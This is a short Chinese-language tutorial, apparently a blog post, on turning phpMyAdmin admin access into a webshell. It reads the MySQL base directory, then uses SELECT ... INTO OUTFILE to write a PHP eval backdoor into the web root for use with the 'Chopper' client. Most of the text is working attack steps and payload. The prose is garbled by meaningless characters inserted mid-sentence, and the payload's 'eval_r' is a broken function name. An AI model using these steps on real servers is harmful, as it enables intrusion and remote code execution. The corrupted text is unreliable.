phpmyadmin 是一個(gè)非常受歡迎的 mysql 管理程序，可以非常方便的管理 mysql。
在獲取了 phpMyadmin 后臺權(quán)限以后，可以非常容易的 getshell 。
第一步（獲取 web 絕對路徑）：
進(jìn)入 SQL 標(biāo)簽執(zhí)行 SQL：
select @@basedir;
這個(gè)語句是利用 Mysql 的特性多矮，輸出絕對路徑。
執(zhí)行語句
第二步（寫入 webshell）：
根據(jù)上面的反饋哈打，我們可以看到 MySQL 的位置在 D:\soft\phpStudy\MySQL\目錄下塔逃。
繼續(xù)執(zhí)行命令
select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE '網(wǎng)站目錄路徑/eval.php'
在這里我們放在網(wǎng)站根目錄上：
select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE 'D:\soft\phpStudy\www\eval.php'
用菜刀連接即可。
